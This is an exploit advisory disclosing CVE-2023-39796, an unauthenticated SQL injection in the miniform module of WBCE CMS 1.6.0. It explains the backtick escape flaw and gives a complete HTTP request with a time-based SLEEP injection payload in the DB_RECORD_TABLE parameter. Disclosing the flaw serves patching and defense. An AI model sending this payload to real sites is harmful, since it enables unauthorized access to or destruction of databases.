aa67db6cea
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# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0
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# Date: 15.11.2023
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# Exploit Author: young pope
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# Vendor Homepage: https://github.com/WBCE/WBCE_CMS
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# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip
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# Version: 1.6.0
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# Tested on: Kali linux
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# CVE : CVE-2023-39796
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There is an sql injection vulnerability in *miniform* module which is a
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default module installed in the *WBCE* cms. It is an unauthenticated
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sqli so anyone could access it and takeover the whole database.
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In file /modules/miniform/ajax_delete_message.php there is no
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authentication check. On line |40| in this file, there is a |DELETE|
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query that is vulnerable, an attacker could jump from the query using
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tick sign - ```.
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Function |addslashes()|
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(https://www.php.net/manual/en/function.addslashes.php) escapes only
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these characters and not a tick sign:
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* single quote (')
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* double quote (")
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* backslash ()
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* NUL (the NUL byte
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The DB_RECORD_TABLE parameter is vulnerable.
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If an unauthenticated attacker send this request:
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```
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POST /modules/miniform/ajax_delete_message.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML,
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like Gecko) Chrome/36.0.1985.125 Safari/537.36
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Connection: close
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Content-Length: 162
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Accept: */*
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Accept-Language: en
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip, deflate
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action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record
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```
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The response is received after 6s.
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Reference links:
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* https://nvd.nist.gov/vuln/detail/CVE-2023-39796
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* https://forum.wbce.org/viewtopic.php?pid=42046#p42046
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* https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
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* https://pastebin.com/PBw5AvGp |